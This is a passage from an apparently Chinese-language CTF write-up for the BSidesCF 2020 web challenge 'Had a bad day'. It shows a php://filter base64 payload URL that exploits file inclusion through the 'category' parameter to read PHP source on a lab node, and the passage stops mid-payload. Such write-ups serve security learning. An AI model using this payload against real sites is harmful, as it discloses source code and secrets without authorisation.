web:[BSidesCF 2020]Had a bad day(伪协议、协议嵌套利用、strpos()函数)
题目进入页面显示如下,有两个选项这里可以注意到url的变化这里用到伪协议,用php://filter读取php文件源码内容payloadhttp://0990b516-c740-417e-bef6-ccc0e8c688ba.node5.buuoj.cn:81/index.php?category=php://filter/read=convert.base64-encode/resource=in